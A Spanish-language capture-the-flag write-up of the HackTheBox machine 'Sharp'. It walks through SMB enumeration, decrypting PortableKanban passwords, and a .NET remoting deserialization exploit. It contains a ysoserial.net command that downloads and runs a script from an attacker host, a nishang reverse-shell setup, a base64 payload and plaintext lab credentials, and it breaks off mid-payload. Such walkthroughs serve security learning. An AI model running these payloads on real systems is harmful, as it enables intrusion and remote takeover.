HackTheBox - Sharp
Creado
Máquina Windows nivel difícil, vamos a movernos entre carpetas compartidas, organizaremos nuestras ideas con Kanban (🤪) y jugaremos con binarios .exe
para aprovechar deserializaciones y errores de configuración.
TL;DR (Spanish writeup)
Creada por: cube0x0.
ADARLEEEEEEMECHAAAA!
De primeras jugando con el servicio SMB encontraremos la carpeta compartida kanban/ algo sospechosa, entre sus archivos estará PortableKanban.pk3
el cual dentro contiene encriptadas las contraseñas de unos usuarios, usaremos un exploit para descifrarlas. Obtendremos la contraseña real de un usuario llamado lars, nos servirá para autenticarnos al servicio SMB, pero en este caso tendremos la carpeta dev/, dentro tiene 2 binarios que jugando con dnSpy
logramos decompilar, esto y bastante research nos servirá para darnos cuenta de que estamos ante una deserializacion, usaremos ysoserial
para generar payloads y aprovecharnos de la vulnerabilidad y así obtener una PowerShell como el usuario lars.
En el directorio c:\Users\lars\Documents\wcf
tenemos unos archivos extraños que hacen alusión al modelo WCF (Windows Communication Foundation), jugaremos con SMB para transferírnoslos a nuestra máquina, nos daremos cuenta de que el propietario y el que ejecuta el servicio implicado es el usuario Administrator. Tendremos que modificar el contenido (aprovecharemos a Visual Studio para compilar los binarios) para que nos entable una Reverse Shell, finalmente subiremos los archivos compilados y obtendremos la dichosa Shell como el usuario Administrator en el sistema (:
Clasificación de la máquina
Un poco de enumeración, le gusta la realidad ;)
Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo plasmar lo que hice.
…
Tendremos como siempre 3 fases:
…
Enumeración #
Empezaremos realizando un escaneo de puertos sobre la máquina para saber que servicios se están ejecutando:
–» nmap -p- --open -v -Pn 10.10.10.219 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-Pn | Evita que realice Host Discovery, como ping (P) y el DNS (n) |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función de S4vitar que me extrae los puertos en la clipboard |
–» cat initScan
# Nmap 7.80 scan initiated Mon Jan 25 25:25:25 2021 as: nmap -p- --open -v -Pn -oG initScan 10.10.10.219
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.219 () Status: Up
Host: 10.10.10.219 () Ports: 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 8888/open/tcp//sun-answerbook/// Ignored State: filtered (65531)
# Nmap done at Mon Jan 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 372.21 seconds
Muy bien, tenemos los siguientes servicios:
Puerto | Descripción |
---|---|
135 | MSRPC: Permite enviar peticiones entre computadores sin necesidad de conocer/entender detalles de la red. |
139 | NetBIOS (SMB): Interfaz que permite enlazar sistemas operativos (servicios) de red con hardware. |
445 | SMB: Basicamente nos deja compartir archivos y directorios (otras cositas tambien) entre dispositivos de una red. (Info sobre los puertos 139 y 445) |
8888 | Sun Answerbook: Aún no lo sabemos bien. |
Hagamos nuestro escaneo de versiones y scripts en base a cada puerto, con ello obtenemos información más detallada de cada servicio:
–» nmap -p 135,139,445,8888 -sC -sV -Pn 10.10.10.219 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
–» cat portScan
# Nmap 7.80 scan initiated Mon Jan 25 25:25:25 2021 as: nmap -p 135,139,445,8888 -sC -sV -Pn -oN portScan 10.10.10.219
Nmap scan report for 10.10.10.219
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8888/tcp open storagecraft-image StorageCraft Image Manager
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 9m09s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-01-25T16:17:41
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 112.21 seconds
Tenemos:
Puerto | Servicio | Versión |
---|---|---|
135 | MsRPC | O.o |
139 | NetBIOS | u.u |
445 | SMB | e.e |
8888 | StorageCraft | StorageCraft Image Manager |
Listo, demosle e investiguemos más sobre cada servicio.
…
Puerto 445 ⌖
Con rpcclient no logramos enumerar nada, tenemos acceso con credenciales nulas, pero no podemos ejecutar alguna acción (:
Mediante crackmapexec
podemos ver que sistema operativo está siendo ejecutado:
–» crackmapexec smb 10.10.10.219 -u '' -p ''
SMB 10.10.10.219 445 SHARP [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB 10.10.10.219 445 SHARP [-] Sharp\: STATUS_ACCESS_DENIED
Usando smbmap obtenemos información sobre los archivos o directorios compartidos en la red (entre muchas más cosas).
–» smbmap -H 10.10.10.219
[+] IP: 10.10.10.219:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev NO ACCESS
IPC$ NO ACCESS Remote IPC
kanban READ ONLY
Opa, obtenemos 2 directorios interesantes, dev
y kanban
, pero solo tenemos acceso a uno de ellos, intentemos enumerarlo:
- Connect list a shared folder - hacktricks.xyz.
–» smbclient //10.10.10.219/kanban --no-pass
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Nov 14 13:56:03 2020
.. D 0 Sat Nov 14 13:56:03 2020
CommandLine.dll A 58368 Wed Feb 27 03:06:14 2013
CsvHelper.dll A 141312 Wed Nov 8 08:52:18 2017
DotNetZip.dll A 456704 Wed Jun 22 15:31:52 2016
Files D 0 Sat Nov 14 13:57:59 2020
Itenso.Rtf.Converter.Html.dll A 23040 Thu Nov 23 11:29:32 2017
Itenso.Rtf.Interpreter.dll A 75776 Thu Nov 23 11:29:32 2017
Itenso.Rtf.Parser.dll A 32768 Thu Nov 23 11:29:32 2017
Itenso.Sys.dll A 19968 Thu Nov 23 11:29:32 2017
MsgReader.dll A 376832 Thu Nov 23 11:29:32 2017
Ookii.Dialogs.dll A 133296 Thu Jul 3 16:20:12 2014
pkb.zip A 2558011 Thu Nov 12 15:04:59 2020
Plugins D 0 Thu Nov 12 15:05:11 2020
PortableKanban.cfg A 5819 Sat Nov 14 13:56:01 2020
PortableKanban.Data.dll A 118184 Thu Jan 4 16:12:46 2018
PortableKanban.exe A 1878440 Thu Jan 4 16:12:44 2018
PortableKanban.Extensions.dll A 31144 Thu Jan 4 16:12:50 2018
PortableKanban.pk3 A 2080 Sat Nov 14 13:56:01 2020
PortableKanban.pk3.bak A 2080 Sat Nov 14 13:55:54 2020
PortableKanban.pk3.md5 A 34 Sat Nov 14 13:56:03 2020
ServiceStack.Common.dll A 413184 Wed Sep 6 06:18:22 2017
ServiceStack.Interfaces.dll A 137216 Wed Sep 6 06:17:30 2017
ServiceStack.Redis.dll A 292352 Wed Sep 6 06:02:24 2017
ServiceStack.Text.dll A 411648 Tue Sep 5 22:38:18 2017
User Guide.pdf A 1050092 Thu Jan 4 16:14:28 2018
10357247 blocks of size 4096. 7943298 blocks available
smb: \>
Tenemos varios archivos, pero estar enumerando de a uno en esa sesión no me gusta, podemos intentar dos cosas: hacernos una montura de ese directorio o descargarnos los archivos, vamos a descargarlos :P
Podemos usar smbget
para esta tarea, aunque existen varias formas (:
–» smbget -R smb://10.10.10.219/kanban -U ''
Password for [] connecting to //kanban/10.10.10.219:
Using workgroup WORKGROUP, guest user
smb://10.10.10.219/kanban/CommandLine.dll
smb://10.10.10.219/kanban/CsvHelper.dll
smb://10.10.10.219/kanban/DotNetZip.dll
smb://10.10.10.219/kanban/Itenso.Rtf.Converter.Html.dll
smb://10.10.10.219/kanban/Itenso.Rtf.Interpreter.dll
smb://10.10.10.219/kanban/Itenso.Rtf.Parser.dll
smb://10.10.10.219/kanban/Itenso.Sys.dll
smb://10.10.10.219/kanban/MsgReader.dll
smb://10.10.10.219/kanban/Ookii.Dialogs.dll
smb://10.10.10.219/kanban/pkb.zip
smb://10.10.10.219/kanban/Plugins/PluginsLibrary.dll
smb://10.10.10.219/kanban/PortableKanban.cfg
smb://10.10.10.219/kanban/PortableKanban.Data.dll
smb://10.10.10.219/kanban/PortableKanban.exe
smb://10.10.10.219/kanban/PortableKanban.Extensions.dll
smb://10.10.10.219/kanban/PortableKanban.pk3
smb://10.10.10.219/kanban/PortableKanban.pk3.bak
smb://10.10.10.219/kanban/PortableKanban.pk3.md5
smb://10.10.10.219/kanban/ServiceStack.Common.dll
smb://10.10.10.219/kanban/ServiceStack.Interfaces.dll
smb://10.10.10.219/kanban/ServiceStack.Redis.dll
smb://10.10.10.219/kanban/ServiceStack.Text.dll
smb://10.10.10.219/kanban/User Guide.pdf
Downloaded 7,90MB in 62 seconds
Listo, así nos queda más fácil manipular los objetos, ahora, a enumerar y ver si hay algo interesante…
Si usamos la herramienta strings
para ver cadenas de texto entendibles dentro de los binarios, hacia el objeto PortableKanban.pk3
obtenemos esto:
–» strings PortableKanban.pk3
{"Columns":[{"Id":"4757781032fd41b2a4511822e2c08850","SortOrder":0,"Name":"Demo","Limit":0,"TaskOrder":{"SortType":"None","Parameters":[{"Field":"Completed","SortOrder":"Descending"},{"Field":"Deadline","SortOrder":"Ascending"},{"Field":"Priority","SortOrder":"Descending"},{"Field":"Topic","SortOrder":"Ascending"},{"Field":"Person","SortOrder":"Ascending"}]},"AutoComplete":false,"ResetCompleted":false,"TimeStamp":637409769443121006}],"Tasks":[{"Id":"33870d6dfe4146718ba0b2c9f7bc05cf","SeriesId":"00000000000000000000000000000000","SortOrder":"oGdBKcFw","ColumnId":"4757781032fd41b2a4511822e2c08850","TopicId":"00000000000000000000000000000000","PersonId":"00000000000000000000000000000000","Text":"New Task","Priority":"Low","Created":"\/Date(1605380100000+0100)\/","CreatedBy":"e8e29158d70d44b1a1ba4949d52790a0","Modified":"\/Date(-62135596800000)\/","ModifiedBy":"00000000000000000000000000000000","Deadline":"\/Date(1605308400000+0100)\/","HasDeadline":false,"Completed":"\/Date(1605308400000+0100)\/","CompletedBy":"00000000000000000000000000000000","Done":false,"Canceled":false,"Link":"","Subtasks":[],"Tags":[],"Estimate":0,"Progress":0,"Points":0,"Comments":[],"CustomFields":{},"TimeStamp":637409769542424146}],"TimeTracks":[],"Persons":[],"Topics":[],"Tags":[],"Views":[],"Users":[{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==","Role":"Admin","Inactive":false,"TimeStamp":637409769245503731},{"Id":"0628ae1de5234b81ae65c246dd2b4a21","Name":"lars","Initials":"","Email":"","EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==","Role":"User","Inactive":false,"TimeStamp":637409769265925613}],"ServiceMessages":[],"CustomFieldDescriptors":[],"MetaData":{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1605380100000+0100)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-62135596800000-0000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637409769001918463}}
Podemos apoyarnos de la herramienta jq
para que nos lo pase a formato json
:
–» strings PortableKanban.pk3 | jq
...
...
"TimeStamp": 637409769542424200
}
],
"TimeTracks": [],
"Persons": [],
"Topics": [],
"Tags": [],
"Views": [],
"Users": [
{
"Id": "e8e29158d70d44b1a1ba4949d52790a0",
"Name": "Administrator",
"Initials": "",
"Email": "",
"EncryptedPassword": "k+iUoOvQYG98PuhhRC7/rg==",
"Role": "Admin",
"Inactive": false,
"TimeStamp": 637409769245503700
},
{
"Id": "0628ae1de5234b81ae65c246dd2b4a21",
"Name": "lars",
"Initials": "",
"Email": "",
"EncryptedPassword": "Ua3LyPFM175GN8D3+tqwLA==",
"Role": "User",
"Inactive": false,
"TimeStamp": 637409769265925600
}
],
"ServiceMessages": [],
...
...
}
}
…
Explotación #
Al final vemos un apartado llamado usuarios en el que están listados:
- Administrator : k+iUoOvQYG98PuhhRC7/rg==
- lars : Ua3LyPFM175GN8D3+tqwLA==
La encriptación ta rara y buscando no encontramos nada sobre ella… Pero después de un tiempo estancado sin buscar lo realmente necesario, encontré un exploit muy reciente (por lo tanto tuve mucha suerte) que extrae las contraseñas y las desencripta:
Lo ejecutamos simplemente pasándole el archivo PortableKanban.pk3
:
–» python3 portable_kanban_encrypted.py PortableKanban.pk3
Administrator:G2@$btRSHJYTarg
lars:G123HHrth234gRG
Lindo lindo, obtenemos al menos algo diferente a lo anterior. Si validamos de nuevo con smbmap
tenemos:
–» smbmap -H 10.10.10.219 -u 'lars' -p 'G123HHrth234gRG'
[+] IP: 10.10.10.219:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev READ ONLY
IPC$ READ ONLY Remote IPC
kanban NO ACCESS
Nice son válidas y tenemos acceso a uno de los directorios interesantes: dev
, las credenciales del usuario Administrator
no funcionan :P
Me puse a buscar como hubiera sido la desencriptación sin el exploit reciente, pero no encontré algún camino. Me quedo con la duda, al finalizar indagaré más (: sigamos.
Enumeramos con smbclient
sobre el nuevo recurso:
–» smbclient //10.10.10.219/dev -U 'lars'
Enter WORKGROUP\lars's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Nov 15 06:30:13 2020
.. D 0 Sun Nov 15 06:30:13 2020
Client.exe A 5632 Sun Nov 15 05:25:01 2020
notes.txt A 70 Sun Nov 15 08:59:02 2020
RemotingLibrary.dll A 4096 Sun Nov 15 05:25:01 2020
Server.exe A 6144 Mon Nov 16 06:55:44 2020
10357247 blocks of size 4096. 7941868 blocks available
smb: \>
Y procedemos tambien a descargarlos:
–» smbget -R smb://10.10.10.219/dev -U 'lars'
Password for [lars] connecting to //dev/10.10.10.219:
Using workgroup WORKGROUP, user lars
smb://10.10.10.219/dev/Client.exe
smb://10.10.10.219/dev/notes.txt
smb://10.10.10.219/dev/RemotingLibrary.dll
smb://10.10.10.219/dev/Server.exe
Downloaded 15,57kB in 18 seconds
Tengo un problema con wine
(que nos permite ejecutar programas basados en Windows
sobre Linux
), así que usaremos una máquina virtual con Windows
para jugar con los binarios.
Buscando por internet: remoting library exploit
, encontramos un gran artículo que aborda mucho sobre el tema, además nos habla de dnSpy
, un debugger y decompilador de binarios .exe
.
Si abrimos los archivos, tenemos:
¬ Server.exe:
- La conexión se generará sobre el puerto
8888
. - Crea un canal de comunicación (servicio), configurando el nombre de la aplicación como:
SecretSharpDebugApplicationEndpoint
. - Mientras se tenga la conexión establecida, se mostrara
Registered service
.
¬ Client.exe:
- Abre una petición hacia:
tcp://localhost:8888/SecretSharpDebugApplicationEndpoint
.- (Entonces sabemos que el puerto
8888
de la máquina se vuelve importante)
- (Entonces sabemos que el puerto
- Se autentica con:
debug:SharpApplicationDebugUserPassword123!
.
Ejecutemos los programas:
C:\htb_sharp\files>Server.exe
Registered service
C:\htb_sharp\files>netstat -a
Conexiones activas
Proto Dirección local Dirección remota Estado
...
TCP 0.0.0.0:8888 WIN:0 LISTENING
...
Sip, tal como esperábamos.
C:\htb_sharp\files>Client.exe
C:\htb_sharp\files>
No obtenemos nada, pero asumimos que hizo la conexión y pues termino :P
…
Pues empecemos a ver como podemos explotar esta locura…
(Entender el tiempo es tiempo perdido u.u)
Después de un rato, encontramos un repositorio que se aprovecha de estos servicios y nos permite entre muchas cosas, aprovecharnos de la siempre peligrosa deserialización insegura…
- github.com/tyranid/ExploitRemotingService.
- Articulo de tyranid sobre el uso del exploit.
- Encontramos la descripción de la vulnerabilidad - .NET HTTP Remoting public exposed.
The technology depends on SoapFormater serialization mechanism which is vulnerable to deserialization attack by default. Acunetix
Info rápida sobre deserialización:
Entonces, clonamos el repo y nos apoyamos de Visual Studio 2019
para compilar todo el proyecto. Abrimos el archivo ExploitRemotingService.sln
, pueda que les pida un paquete de desarrollador (o no) así que simplemente le dan a la opción de descargar, lo descargan y vuelven a abrir el proyecto. (Pues eso tuve que hacer yo :P). Ahora si compilan y se nos crea el ejecutable en la ruta: C:\htb_sharp\files\ExploitRemotingService\ExploitRemotingService\bin\Debug
, veámoslo:
PS C:\htb_sharp\files> .\ExploitRemotingService\ExploitRemotingService\bin\Debug\ExploitRemotingService.exe
Perfecto, de los que nos pide tenemos:
- URI:
tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint
. - –user:
debug
. - –pass:
SharpApplicationDebugUserPassword123!
.
Asi que su ejecución debe ser:
PS C:\htb_sharp\files> .\ExploitRemotingService\ExploitRemotingService\bin\Debug\ExploitRemotingService.exe tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint -s --user=debug --pass="SharpApplicationDebugUserPassword123!" ver
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server
...
Server stack trace:
...
Pero obtenemos bastantes errores locochones (aunque nos respondió con una versión), jmmm… Leyendo que más podemos hacer con el exploit, vemos la opción de enviar un objeto serializado haciendo uso del parámetro raw
. Pero como generamos ese objeto? Bueno, buscando tenemos la herramienta ysoserial
, la cual como su descripción indica, explota aplicaciones que efectúan deserializacion insegura de objetos.
Además tenemos el repositorio ysoserial.net
que nos ayudara a hacer el proceso con un ejecutable de Windows:
Hacemos el mismo proceso que antes, abrimos el archivo ysoserial.sln
, compilamos y tenemos el binario:
PS C:\htb_sharp\files> .\ysoserial.net\ysoserial\bin\Debug\ysoserial.exe
…
…
Entonces, generemos el objeto, ysoserial
tiene varios gadgets y plugins, usaremos el gadget llamado TypeConfuseDelegate
:
(*) TypeConfuseDelegate
Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
Haremos que el formato sea BinaryFormatter, guardaremos el output en formato base64 y finalmente ingresaremos los comandos que queremos ejecutar en el proceso de deserializacion, todo quedaría así:
PS C:\htb_sharp\files> .\ysoserial.net\ysoserial\bin\Debug\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.14.34:8000/P.ps1')"
Esto nos generara una cadena en
base64
que sera nuestro payload y sera el que adjuntemos al paramentroraw
deExploitRemotingService
.
Donde P.ps1
es el archivo Invoke-PowerShellTcp.ps1
del repositorio nishang, el cual nos brinda un montón de herramientas basadas en PowerShell.
En nuestro caso y en el de ese archivo, nos permite indicarle que genere una reverse Shell, para esto debemos modificar una línea:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
...
Tomamos la ultima linea y la agregamos al final del archivo pero sin el PS >
y la modificamos con nuestra IP y puerto:
...
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 4433
Entonces lo que hará esto es muy sencillo, una vez estemos en escucha donde tengamos este archivo lanzamos el payload el cual claramente también estará apuntando a este archivo. Una vez se reciba la petición el servidor leerá toooooodo el archivo y como la última línea está en forma de instrucción, el sistema la ejecutara, lo que quiere decir que ejecutara nuestra reverse Shell hacia el puerto 4433
. Démosle…
Breveeeees e.e Pongámonos primero en escucha por el puerto 4433
:
PS C:\htb_sharp\files> .\nc.exe -lvp 4433
listening on [any] 4433 ...
Ahora creemos el servidor web donde esta nuestro archivo P.ps1
:
PS C:\htb_sharp\files> dir
Directorio: C:\htb_sharp\files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 08/02/2021 10:52 a. m. ExploitRemotingService
d----- 08/02/2021 01:30 p. m. nishang
d----- 08/02/2021 12:21 p. m. ysoserial.net
-a---- 26/01/2021 11:07 a. m. 5632 Client.exe
-a---- 08/02/2021 01:34 p. m. 4533 P.ps1
-a---- 26/01/2021 11:07 a. m. 4096 RemotingLibrary.dll
-a---- 26/01/2021 11:07 a. m. 6144 Server.exe
PS C:\htb_sharp\files> c:reteteteu_u\Python\Python39\python.exe -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
Perfecto, ahora solo nos quedaría ejecutar el payload, generemos la cadena en base64
con ysoserial:
Asegurense de desactivar todo lo que implique
firewall
, tuve algunos problemas por eso :P
PS C:\htb_sharp\files> .\ysoserial.net\ysoserial\bin\Debug\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.14.34:8000/P.ps1')"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAF4vYyBwb3dlcnNoZWxsIC1jIElFWChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLmRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuMzQ6ODAwMC9QLnBzMScpBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
Y ahora ExploitRemotingService:
PS C:\htb_sharp\files> .\ExploitRemotingService\ExploitRemotingService\bin\Debug\ExploitRemotingService.exe tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint -s --user="debug" --pass="SharpApplicationDebugUserPassword123!" raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAF4vYyBwb3dlcnNoZWxsIC1jIElFWChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLmRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuMzQ6ODAwMC9QLnBzMScpBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGV